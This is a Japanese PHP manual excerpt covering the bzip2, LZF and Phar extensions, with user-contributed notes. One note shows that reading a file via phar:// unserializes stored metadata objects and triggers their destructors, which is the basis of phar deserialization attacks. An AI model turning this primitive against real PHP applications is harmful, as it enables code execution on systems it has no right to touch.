与えられたファイルポインタから返された bzip2 エラーのエラー番号を返します。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指してい る必要があります。

返り値

整数としてのエラー番号を返します。

参考

  • bzerror() - bzip2 エラー番号とエラー文字列を配列で返す
  • bzerrstr() - bzip2 エラー文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


bzip2 エラー番号とエラー文字列を配列で返す

  • ≪ bzerrno
  • bzerrstr ≫
  • PHP Manual
  • Bzip2 関数
  • bzip2 エラー番号とエラー文字列を配列で返す

bzerror

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerror — bzip2 エラー番号とエラー文字列を配列で返す

説明

bzerror ( resource $bz ) : array

与えられたファイルポインタから返された bzip2 エラーのエラー番号とエラー文字列を返します。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指してい る必要があります。

返り値

errno エントリにエラーコード、errstr エントリにエラーメッセージを持つ連想配列を返します。

例

例1 bzerror() の例

<?php
$error = bzerror($bz);

echo $error["errno"];
echo $error["errstr"];
?>

参考

  • bzerrno() - bzip2 エラー番号を返す
  • bzerrstr() - bzip2 エラー文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


bzip2 エラー文字列を返す

  • ≪ bzerror
  • bzflush ≫
  • PHP Manual
  • Bzip2 関数
  • bzip2 エラー文字列を返す

bzerrstr

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerrstr — bzip2 エラー文字列を返す

説明

bzerrstr ( resource $bz ) : string

与えられたファイルポインタから返された bzip2 エラーのエラーの文字列を返します。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指してい る必要があります。

返り値

エラーメッセージを含む文字列を返します。

参考

  • bzerrno() - bzip2 エラー番号を返す
  • bzerror() - bzip2 エラー番号とエラー文字列を配列で返す

User Contributed Notes

There are no user contributed notes for this page.


何もしない

  • ≪ bzerrstr
  • bzopen ≫
  • PHP Manual
  • Bzip2 関数
  • 何もしない

bzflush

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzflush — 何もしない

説明

bzflush ( resource $bz ) : bool

バッファリングされた全ての bzip2 データをファイルポインタ bz に書き込むことが想定された関数です。 しかし、libbz2 では null な関数として実装されており、何もしません。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指してい る必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • bzread() - バイナリ対応の bzip2 ファイル読み込み
  • bzwrite() - バイナリ対応の bzip2 ファイルへの書き込み

User Contributed Notes

There are no user contributed notes for this page.


bzip2 圧縮されたファイルをオープンする

  • ≪ bzflush
  • bzread ≫
  • PHP Manual
  • Bzip2 関数
  • bzip2 圧縮されたファイルをオープンする

bzopen

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzopen — bzip2 圧縮されたファイルをオープンする

説明

bzopen ( string|resource $file , string $mode ) : resource|false

bzopen() は、 bzip2 (.bz2) ファイルを読み書き用にオープンします。

パラメータ

file

オープンするファイル名、あるいは既存のストリームリソース

mode

'r' (読み込み) と 'w' (書き込み) だけをサポートしています。 それ以外を指定すると bzopen() は false を返します。

返り値

オープンできなかった場合、bzopen() は false を返します。それ以外の場合は、 新規にオープンされたファイルへのポインタが返されます。

例

例1 bzopen() の例

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file for reading");

bzclose($bz);

?>

参考

  • bzclose() - bzip2 ファイルを閉じる

User Contributed Notes

KrazyBox 30-Dec-2008 05:44
In some circumstances, you may want to send a bzip2 stream to the client.

To do this, you need only do:

<?php
ob_flush();
$bz = bzopen('php://stdout', 'w');
bzwrite($bz, 'some input here');
bzclose($bz);
?>

However, please note, because you are using STDOUT, you need to ob_flush() before actually writing to the stream. Otherwise, you might be sending data before the headers, which will cause errors on both server and client ends, in most cases.

You might be able to use php://output rather than php://stdout, however in my tests (with Linux), php://output doesn't actually work - at all.
Jille at quis dot cx dot spam dot to dot my dot devnull 19-Mar-2008 01:11
Warning!

the example show above is _not_ working in every case!
This example will continue reading until there is no more data:

<?PHP
      $bz=bzopen('foo.bz2', 'r');
      $data="";
      do {
        $line=bzread($bz, 8092);
        if($line!==false)
          $data.=$line;
      }
      while($line);
      bzclose($bz);
?>


バイナリ対応の bzip2 ファイル読み込み

  • ≪ bzopen
  • bzwrite ≫
  • PHP Manual
  • Bzip2 関数
  • バイナリ対応の bzip2 ファイル読み込み

bzread

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzread — バイナリ対応の bzip2 ファイル読み込み

説明

bzread ( resource $bz , int $length = 1024 ) : string|false

bzread() は、与えられた bzip2 ファイルポインタから読み込みます。

読み込みは、(圧縮前の状態で) length バイトが読み込まれたか、EOF に達したかのどちらか最初に来た方で終了します。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指してい る必要があります。

length

指定されない場合、bzread() は一度に (圧縮前の状態で) 1024バイト読み込みます。 最大で 8192 バイト (圧縮前) までを一度に読み込みます。

返り値

非圧縮データ、もしくはエラー時に false を返します。

例

例1 bzread() の例

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file");

$decompressed_file = '';
while (!feof($bz)) {
  $decompressed_file .= bzread($bz, 4096);
}
bzclose($bz);

echo "The contents of $file are: <br />\n";
echo $decompressed_file;

?>

参考

  • bzwrite() - バイナリ対応の bzip2 ファイルへの書き込み
  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる
  • bzopen() - bzip2 圧縮されたファイルをオープンする

User Contributed Notes

Anonymous 08-Nov-2015 09:52
The earlier posted code has a small bug in it: it uses bzerror instead of bzerrno. Should be like this:

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerrno($fh) !== 0) die('Compression Problem');
}
bzclose($fh);
user@anonymous 15-Apr-2012 07:10
Make sure you check for bzerror while looping through a bzfile. bzread will not detect a compression error and can continue forever even at the cost of 100% cpu.

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerror($fh) !== 0) die('Compression Problem');
}
bzclose($fh);


バイナリ対応の bzip2 ファイルへの書き込み

  • ≪ bzread
  • LZF ≫
  • PHP Manual
  • Bzip2 関数
  • バイナリ対応の bzip2 ファイルへの書き込み

bzwrite

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzwrite — バイナリ対応の bzip2 ファイルへの書き込み

説明

bzwrite ( resource $bz , string $data , int|null $length = null ) : int|false

bzwrite() は、文字列を与えられた bzip2 ファイルストリームに書き込みます。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指してい る必要があります。

data

書き込むデータ

length

指定した場合、 (圧縮前の) length バイト分の書き込みが終ったか、 data の終端に達したかで書き込みは終了します。

返り値

書き込んだバイト数、もしくはエラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | length は、nullable になりました。

例

例1 bzwrite() の例

<?php
$str = "uncompressed data";
$bz = bzopen("/tmp/foo.bz2", "w");
bzwrite($bz, $str, strlen($str));
bzclose($bz);
?>

参考

  • bzread() - バイナリ対応の bzip2 ファイル読み込み
  • bzopen() - bzip2 圧縮されたファイルをオープンする

User Contributed Notes

There are no user contributed notes for this page.


LZF

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • LZF 関数
    • lzf_compress — LZF 圧縮を行う
    • lzf_decompress — LZF 圧縮を伸長する
    • lzf_optimized_for — LZF 拡張モジュールの最適化指定を取得する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

LZF は非常に高速な圧縮アルゴリズムで、わずかな速度の低下と引き換えに スペースを節約したい場合に適しています。 コンパイル時に速度もしくはスペースのどちらを優先して最適化を行うかを 選択することができます。この拡張モジュールは、Marc Lehmann による » liblzf ライブラリを用いて操作を行います。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。 この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/lzf.

これらの関数を使用するには、--with-lzf[=DIR] オプションを指定して PHP を lzf サポートつきでコンパイルする必要があります。 --enable-lzf-better-compression を指定して、 圧縮速度より圧縮率を優先するよう LZF を設定することも可能です。

Windows ユーザーは、php.ini で php_lzf.dll を有効にすることでこれらの関数を使用可能です。 この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


LZF 関数

目次

  • lzf_compress — LZF 圧縮を行う
  • lzf_decompress — LZF 圧縮を伸長する
  • lzf_optimized_for — LZF 拡張モジュールの最適化指定を取得する

User Contributed Notes

grenier at cgsecurity dot org 06-Sep-2005 01:39
To install lzf, you can use

gunzip lzf-xxx.tgz
tar -xvf lzf-xxx.tar
cd lzf-xxx
phpize
./configure && make && make install


LZF 圧縮を行う

  • ≪ LZF 関数
  • lzf_decompress ≫
  • PHP Manual
  • LZF 関数
  • LZF 圧縮を行う

lzf_compress

(PECL lzf >= 0.1.0)

lzf_compress — LZF 圧縮を行う

説明

lzf_compress ( string $data ) : string

lzf_compress() は、指定された arg を LZF 符号化方式で圧縮します。

パラメータ

data

圧縮するデータ。

返り値

圧縮されたデータを返します。エラー時には false を返します。

参考

  • lzf_decompress() - LZF 圧縮を伸長する

User Contributed Notes

There are no user contributed notes for this page.


LZF 圧縮を伸長する

  • ≪ lzf_compress
  • lzf_optimized_for ≫
  • PHP Manual
  • LZF 関数
  • LZF 圧縮を伸長する

lzf_decompress

(PECL lzf >= 0.1.0)

lzf_decompress — LZF 圧縮を伸長する

説明

lzf_decompress ( string $data ) : string

lzf_decompress() は、lzf で符号化された文字列を含む data を伸長します。

パラメータ

data

圧縮されたデータ。

返り値

伸長したデータを返します。エラー時には false を返します。

参考

  • lzf_compress() - LZF 圧縮を行う

User Contributed Notes

There are no user contributed notes for this page.


LZF 拡張モジュールの最適化指定を取得する

  • ≪ lzf_decompress
  • Phar ≫
  • PHP Manual
  • LZF 関数
  • LZF 拡張モジュールの最適化指定を取得する

lzf_optimized_for

(PECL lzf >= 1.0.0)

lzf_optimized_for — LZF 拡張モジュールの最適化指定を取得する

説明

lzf_optimized_for ( ) : int

LZF 拡張モジュールが圧縮時に使用した最適化指定を取得します。

返り値

LZF が速度に最適化されている場合に 1、圧縮率に最適化されている場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


Phar

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Phar アーカイブの使用法
    • Phar アーカイブの使用法: 導入
    • Phar アーカイブの使用法: phar ストリームラッパー
    • Phar アーカイブの使用法: Phar クラスおよび PharData クラス
  • Phar アーカイブの作成
    • Phar アーカイブの作成: 導入
  • phar って、tar や zip とは何が違うの?
    • Phar アーカイブの原料のうち、ファイル形式に依存しないもの
    • Phar ファイルのスタブ
    • Phar 形式と Tar 形式、Zip 形式の徹底比較
    • Tar 形式の phar アーカイブ
    • Zip 形式の phar アーカイブ
    • Phar ファイルフォーマット
    • グローバルな Phar ビットマップフラグ
    • Phar マニフェストのファイルエントリの定義
    • Phar のシグネチャの書式
  • Phar — Phar クラス
    • Phar::addEmptyDir — 空のディレクトリを phar アーカイブに追加する
    • Phar::addFile — ファイルシステム上のファイルを phar アーカイブに追加する
    • Phar::addFromString — 文字列から、ファイルを phar アーカイブに追加する
    • Phar::apiVersion — API のバージョンを返す
    • Phar::buildFromDirectory — ディレクトリ内のファイルから phar を作成する
    • Phar::buildFromIterator — イテレータから phar アーカイブを作成する
    • Phar::canCompress — phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
    • Phar::canWrite — phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す
    • Phar::compress — Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
    • Phar::compressFiles — 現在の Phar アーカイブ内のすべてのファイルを圧縮する
    • Phar::__construct — Phar アーカイブオブジェクトを作成する
    • Phar::convertToData — phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
    • Phar::convertToExecutable — phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
    • Phar::copy — phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする
    • Phar::count — Phar アーカイブ内のエントリ (ファイル) の数を返す
    • Phar::createDefaultStub — phar ファイルフォーマット用のスタブを作成する
    • Phar::decompress — Phar アーカイブ全体の圧縮を解除する
    • Phar::decompressFiles — 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
    • Phar::delMetadata — phar のグローバルメタデータを削除する
    • Phar::delete — phar アーカイブ内のファイルを削除する
    • Phar::extractTo — phar アーカイブの内容をディレクトリに展開する
    • Phar::getAlias — Phar のエイリアスを取得する
    • Phar::getMetadata — phar アーカイブのメタデータを返す
    • Phar::getModified — phar が変更されているかどうかを返す
    • Phar::getPath — Pharアーカイブのディスク上の実際のパスを取得する
    • Phar::getSignature — Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す
    • Phar::getStub — Phar アーカイブの PHP ローダーあるいは起動スタブを返す
    • Phar::getSupportedCompression — サポートする圧縮アルゴリズムの配列を返す
    • Phar::getSupportedSignatures — サポートするシグネチャ型の配列を返す
    • Phar::getVersion — Phar アーカイブのバージョン情報を返す
    • Phar::hasMetadata — ファイルがグローバルなメタデータを持つかどうかを返す
    • Phar::interceptFileFuncs — fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる
    • Phar::isBuffering — Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる
    • Phar::isCompressed — phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
    • Phar::isFileFormat — phar アーカイブが、パラメータで指定した tar/phar/zip のいずれかの形式である場合に true を返す
    • Phar::isValidPharFilename — 指定したファイル名が正しい形式の phar ファイルかどうかを返す
    • Phar::isWritable — phar アーカイブが変更可能な場合に true を返す
    • Phar::loadPhar — 任意の phar アーカイブを、エイリアスを指定して読み込む
    • Phar::mapPhar — 現在実行されている (phar 形式の) ファイルを読み込み、その内容を登録する
    • Phar::mount — 外部のパスあるいはファイルを phar アーカイブ内に仮想的にマウントする
    • Phar::mungServer — 最大 4 つまでの $_SERVER 変数を実行時に変更させる
    • Phar::offsetExists — ファイルが phar 内に存在するかどうかを調べる
    • Phar::offsetGet — 指定したファイルの PharFileInfo オブジェクトを取得する
    • Phar::offsetSet — 内部ファイルに、外部ファイルの内容を設定する
    • Phar::offsetUnset — ファイルを phar から削除する
    • Phar::running — 現在実行中の Phar アーカイブのフルパスあるいは完全な phar URL を返す
    • Phar::setAlias — Phar アーカイブのエイリアスを設定する
    • Phar::setDefaultStub — Phar アーカイブの PHP ローダー (起動スタブ) をデフォルトのローダーに設定する
    • Phar::setMetadata — phar アーカイブのメタデータを設定する
    • Phar::setSignatureAlgorithm — phar のシグネチャのアルゴリズムを設定して適用する
    • Phar::setStub — Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する
    • Phar::startBuffering — Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない
    • Phar::stopBuffering — Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む
    • Phar::unlinkArchive — phar アーカイブをディスクとメモリから完全に削除する
    • Phar::webPhar — ウェブベースの phar で使用するフロントコントローラ
  • PharData — PharData クラス
    • PharData::addEmptyDir — 空のディレクトリを tar/zip アーカイブに追加する
    • PharData::addFile — ファイルシステム上のファイルを tar/zip アーカイブに追加する
    • PharData::addFromString — ファイルシステム上のファイルを tar/zip アーカイブに追加する
    • PharData::buildFromDirectory — ディレクトリ内のファイルから tar/zip アーカイブを作成する
    • PharData::buildFromIterator — イテレータから tar あるいは zip アーカイブを作成する
    • PharData::compress — tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
    • PharData::compressFiles — 現在の tar/zip アーカイブ内のすべてのファイルを圧縮する
    • PharData::__construct — 実行可能でない tar あるいは zip アーカイブオブジェクトを作成する
    • PharData::convertToData — phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
    • PharData::convertToExecutable — 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する
    • PharData::copy — phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする
    • PharData::decompress — Phar アーカイブ全体の圧縮を解除する
    • PharData::decompressFiles — 現在の zip アーカイブ内のすべてのファイルの圧縮を解除する
    • PharData::delMetadata — zip アーカイブのグローバルメタデータを削除する
    • PharData::delete — tar/zip アーカイブ内のファイルを削除する
    • PharData::extractTo — tar/zip アーカイブの内容をディレクトリに展開する
    • PharData::isWritable — tar/zip アーカイブが変更可能な場合に true を返す
    • PharData::offsetSet — tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する
    • PharData::offsetUnset — ファイルを tar/zip アーカイブから削除する
    • PharData::setAlias — ダミー関数 (Phar::setAlias は PharData では使用不能)
    • PharData::setDefaultStub — ダミー関数 (Phar::setDefaultStub は PharData では無効)
    • PharData::setMetadata — phar アーカイブのメタデータを設定する
    • PharData::setSignatureAlgorithm — phar のシグネチャのアルゴリズムを設定する
    • PharData::setStub — ダミー関数 (Phar::setStub は PharData では使用不能)
  • PharFileInfo — PharFileInfo クラス
    • PharFileInfo::chmod — ファイル固有のパーミッションビットを設定する
    • PharFileInfo::compress — 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
    • PharFileInfo::__construct — Phar エントリオブジェクトを作成する
    • PharFileInfo::decompress — phar 内の現在の Phar エントリの圧縮を解除する
    • PharFileInfo::delMetadata — エントリのメタデータを削除する
    • PharFileInfo::getCRC32 — CRC32 コードを返すか、CRC がチェックできない場合に例外をスローする
    • PharFileInfo::getCompressedSize — Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
    • PharFileInfo::getContent — エントリの完全なファイルの内容を取得する
    • PharFileInfo::getMetadata — ファイルとともに保存されている、ファイル固有のメタデータを返す
    • PharFileInfo::getPharFlags — Phar ファイルエントリのフラグを返す
    • PharFileInfo::hasMetadata — エントリのメタデータを返す
    • PharFileInfo::isCRCChecked — ファイルエントリの CRC が検証されているかどうかを調べる
    • PharFileInfo::isCompressed — エントリが圧縮されているかどうかを調べる
    • PharFileInfo::setMetadata — ファイルとともに保存する、ファイル固有のメタデータを設定する
  • PharException — PharException クラス

User Contributed Notes

lemonkid from OpenToAll 12-Sep-2018 06:39
when read via phar://, stream will unserialize object including phar file

Use this to create phar
<?php
// create new Phar
$phar = new Phar('lemon.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'Chanh';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

and read it by:
<?php
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: Chanh
file_get_contents('phar://test.phar');
?>
bawe_a at yahoo dot com 24-Mar-2018 02:06
<?php
  include 'phar://ArPHP.phar/Arabic.php';
  $obj = new I18N_Arabic('Numbers');

  echo $obj->int2str(1975);
?>
brunoczim 05-Jul-2017 01:24
Here is a very simple program for creating phar files with CLI. Note that it requires phar.readonly in php.ini  set to false (Off).

<?php
$filename = "default";
$dir = "./";
$regex = "/^(?!.*build\\.php)(?:.*)$/";
$main = "main.php";
$shebang = "#!/usr/bin/env php";
$chmod = true;

for ($i = 0; $i < $argc; $i++) {
    switch ($argv[$i]) {
        case "-o":
            $i++;
            if ($i >= $argc) {
                echo "Missing output file name" . PHP_EOL;
                exit(1);
            }
            $filename = $argv[$i];
            break;
        case "-i":
            $i++;
            if ($i >= $argc) {
                echo "Missing input directory name" . PHP_EOL;
                exit(1);
            }
            $dir = $argv[$i];
            break;
        case "-p":
            $i++;
            if ($i >= $argc) {
                echo "Missing regular expression pattern" . PHP_EOL;
                exit(1);
            }
            $regex = $argv[$i];
            break;
        case "-m":
            $i++;
            if ($i >= $argc) {
                echo "Missing main file" . PHP_EOL;
                exit(1);
            }
            $main = $argv[$i];
            break;
        case "-b":
            $i++;
            if ($i >= $argc) {
                echo "Missing shebang of file" . PHP_EOL;
                exit(1);
            }
            $shebang = $argv[$i];
            break;
        case "--no-chmod":
            $chmod = false;
            break;
    }
}
if (file_exists($filename)) unlink($filename);
$phar = new Phar($filename);
$phar->buildFromDirectory($dir, $regex);
$phar->setStub(($shebang ? $shebang . PHP_EOL : "") . $phar->createDefaultStub($main));
if ($chmod) {
    chmod($filename, fileperms($phar) | 0700);
}
t dot habenreich at web dot de 16-Dec-2013 08:38
Here is a very simple class to build a phar file from a given source directory. You can use this for your own project and simple deployment.

But my main goal was to show how to use PHAR functions in a simple way.

<?php

class BuildPhar
{
  private $_sourceDirectory = null;
  private $_stubFile        = null;
  private $_outputDirectory = null;
  private $_pharFileName    = null;

  /**
   * @param $_sourceDirectory       // This is the directory where your project is stored.
   * @param $stubFile               // Name the entry point for your phar file. This file have to be within the source
   *                                   directory.
   * @param null $_outputDirectory  // Directory where the phar file will be placed.
   * @param string $pharFileName    // Name of your final *.phar file.
   */
  public function __construct($_sourceDirectory, $stubFile, $_outputDirectory = null, $pharFileName = 'myPhar.phar') {

    if ((file_exists($_sourceDirectory) === false) || (is_dir($_sourceDirectory) === false)) {
      throw new Exception('No valid source directory given.');
    }
    $this->_sourceDirectory = $_sourceDirectory;

    if (file_exists($this->_sourceDirectory.'/'.$stubFile) === false) {
      throw new Exception('Your given stub file doesn\'t exists.');
    }

    $this->_stubFile = $stubFile;

    if(empty($pharFileName) === true) {
      throw new Exception('Your given output name for your phar-file is empty.');
    }
    $this->_pharFileName = $pharFileName;

    if ((empty($_outputDirectory) === true) || (file_exists($_outputDirectory) === false) || (is_dir($_outputDirectory) === false)) {

      if ($_outputDirectory !== null) {
        trigger_error ( 'Your output directory is invalid. We set the fallback to: "'.dirname(__FILE__).'".', E_USER_WARNING);
      }

      $this->_outputDirectory = dirname(__FILE__);
    } else {
      $this->_outputDirectory = $_outputDirectory;
    }

    $this->prepareBuildDirectory();
    $this->buildPhar();
  }

  private function prepareBuildDirectory() {
    if (preg_match('/.phar$/', $this->_pharFileName) == FALSE) {
      $this->_pharFileName .= '.phar';
    }

    if (file_exists($this->_pharFileName) === true) {
      unlink($this->_pharFileName);
    }
  }

  private function buildPhar() {
    $phar = new Phar($this->_outputDirectory.'/'.$this->_pharFileName);
    $phar->buildFromDirectory($this->_sourceDirectory);
    $phar->setDefaultStub($this->_stubFile);
  }
}
//END Class

//Example Usage:
$builder = new BuildPhar(
  dirname(__FILE__).'/_source',
  'my_default_stub.php',
  dirname(__FILE__).'/_output',
  'my-phar-file.phar'
);
dava 03-Jun-2013 09:18
Here is an apache2 htaccess example that prevents the downloading of phar-Archives by the user:

RewriteEngine on
RewriteRule ^(.*)\.phar$ - [F]

It triggers a "403 - Forbidden" message instead of delivering the archive.
v-mafick at microsoft dot com 24-May-2013 09:22
Users should set the `sys_temp_dir` directive.

PHAR stores temporary files in either `sys_temp_dir` or the current working directory(CWD).

This is especially important if you're CWD is on a remote file system. Often web server clusters will share a common file system between each web server (using NFS, DFS, etc...). In such scenarios, if you don't set `sys_temp_dir` to a local directory, PHAR will be creating temporary files over the network, which will result in performance and functionality problems.
bohwaz 21-Nov-2011 02:43
If you get blank pages when trying to access a phar web-page, then you probably have Suhosin on your PHP (like in Debian and Ubuntu), and you need to ad this to your php.ini to allow execution of PHAR archives :

suhosin.executor.include.whitelist="phar"


はじめに

phar 拡張モジュールは、PHP アプリケーション全体をひとつの "phar" (PHP Archive) ファイルにまとめてしまい、配布やインストールを容易にするためのものです。 それだけでなく、phar 拡張モジュールではファイルフォーマットを抽象化する機能も提供しており、 tar 形式や zip 形式のファイルを PharData クラスで扱うことができます。ちょうど PDO がさまざまなデータベースへの統一インターフェイスを用意しているのと同じようなものです。 PDO では異なるデータベース間の変換はできませんが、 phar では tar、zip、phar ファイルフォーマット間の変換がコード 1 行だけでできてしまいます。 例として Phar::convertToExecutable() を参照ください。

Phar って何? Phar アーカイブは、複数のファイルをひとつにまとめるための便利な仕組みです。 Phar アーカイブを使用すれば、PHP のアプリケーションをひとつのファイルとして配布できるようになります。 また、それをディスク上に展開しなくてもそのまま実行できるのです。 さらに、他のファイルと同様に PHP から phar アーカイブを実行することができます。 コマンドラインとウェブサーバー経由のどちらでも実行可能です。 phar は、いわば PHP アプリケーションにおける thumb drive のようなものです。

Phar はこの機能を実装するために ストリームラッパー を使用しています。通常は、PHP スクリプトから外部のファイルを使用するには include を用います。

例1 外部ファイルの使用

<?php
 include '/path/to/external/file.php';
 ?>

PHP は、実際には /path/to/external/file.php をストリームラッパー file:///path/to/external/file.php とみなし、 内部的にはファイルストリームラッパーのストリーム関数でローカルファイルにアクセスしています。

Phar アーカイブ /path/to/myphar.phar の中に含まれるファイル file.php を使用する場合に構文は、 先ほどの file:// 構文と似ています。

例2 Phar アーカイブ内のファイルの使用

<?php
 include 'phar:///path/to/myphar.phar/file.php';
 ?>

実際のところ、phar アーカイブは外部ディスクと同様に扱うことができます。 fopen() 系の関数や opendir()、そして mkdir() 系の関数を使用して、 phar アーカイブ内のファイルの読み書きや新しいファイルの作成が可能です。 これにより、完全な PHP アプリケーションを単一のファイルで配布して そのままの形式で直接実行できるようになるのです。

Phar アーカイブのもっとも一般的な使用法は、 完全なアプリケーションをひとつのファイルにまとめて配布することです。 たとえば、PHP に同梱されている PEAR インストーラは phar アーカイブとして配布されています。 このような形式の phar アーカイブを使用するには、 コマンドラインあるいはウェブサーバーからアーカイブを実行します。

Phar アーカイブの配布形式は tar アーカイブか zip アーカイブ、あるいは専用の phar 独自ファイルフォーマットのいずれかとなります。 それぞれの形式には利点と欠点があります。 tar 形式や zip 形式は、他のツールからでも内容を読んだり展開したりできるという利点がありますが、 それを実行する環境にも phar 拡張モジュールが必要となります。 phar 独自フォーマットは phar 拡張モジュール独自の形式です。 phar 拡張モジュールか PEAR パッケージ » PHP_Archive にしか作成できません。しかし、この形式で作成したアプリケーションは phar 拡張モジュールのない環境でも動作するという利点があります。

言い換えると、phar 拡張モジュールが無効になっている環境でも phar アーカイブを実行できるということです。 しかし、phar アーカイブ内の個別のファイルにアクセスするには、 (PHP_Archive で作成したものでない限り) phar 拡張モジュールが必要です。

phar 拡張モジュールには、tar ファイルを zip 形式や phar 形式に変換する機能もあります。

例3 phar 形式から tar 形式への phar アーカイブの変換

<?php
 $phar = new Phar('myphar.phar');
 $pgz = $phar->convertToExecutable(Phar::TAR, Phar::GZ); // myphar.phar.tar.gz を作成します
 ?>

phar には、特定のファイルあるいはアーカイブ全体を gzip あるいは bzip2 で圧縮する機能があります。 また、アーカイブの整合性を MD5、SHA-1、SHA-256 あるいは SHA-512 シグネチャで自動的に検証します。

最後に、phar 拡張モジュールはセキュリティにも注意を払っており、 実行可能な phar アーカイブへの書き込みアクセスはデフォルトで無効にしています。 phar アーカイブを作成したり変更したりするには、php.ini の設定 phar.readonly をシステムレベルで無効にする必要があります。 通常の、実行可能属性がない tar アーカイブや zip アーカイブは、常に PharData クラスで作成、変更することができます。

アプリケーションを配布したい場合は Phar アーカイブのつくりかた を読みましょう。phar がサポートする各形式の違いをより詳しく知りたい場合は Phar、Tar そして Zip を読みましょう。

phar 形式のアプリケーションを使用したい場合は Phar アーカイブの使いかた が参考となるでしょう。

phar という単語は PHP と Archive を組み合わせたもので、 Java 開発者ならおなじみの jar (Java Archive) を参考にしています。

Phar アーカイブの実装は PEAR の » PHP_Archive パッケージに基づいています。実装の詳細は同じですが、 Phar 拡張モジュールのほうがずっと強力です。 さらに、Phar 拡張モジュールで作成した PHP アプリケーションは ほとんどの場合は何も修正せずに動かすことができます。 PHP_Archive で作った phar アーカイブは、 動かす前に多少手を入れなければならないことがよくあります。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

acosonic at gmail dot com 28-Dec-2016 07:33
I would recommend following way of using/installing .phar under windows:

http://stackoverflow.com/questions/19413669/windows-8-phar-files-how-do-you-want-to-open/41357263#41357263


要件

Phar を使用するには PHP 5.2.0 以降が必要です。また、 Phar ファイルの中身に対して配列形式でアクセスしたり順に処理したりするには SPL 拡張モジュールが PHP に組み込まれている必要があります。 phar ストリームを使用するには、 これは不要です。

オプションとして、zlib 拡張モジュールおよび bzip2 拡張モジュールを有効にしておくと、 圧縮された phar をサポートすることができます。 さらに、OpenSSL の署名を使用するには、OpenSSL 拡張モジュールを有効にする必要があります。

zlib.deflate ストリームフィルタのバグのせいで、gzip 圧縮形式あるいは bzip2 圧縮形式の phar アーカイブが切り詰められてしまう可能性があることに注意しましょう。 このバグは PHP 5.2.6 以降で修正されます。

PHP 5.3 の configure で --enable-zend-multibyte を指定すると、 phar が ini オプション detect_unicode に依存するようになります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Phar 拡張モジュールは PHP 5.3.0 以降は PHP にバンドルされており、 デフォルトで有効になっています。 Phar のサポートを無効にするには、 --disable-phar を使ってください。

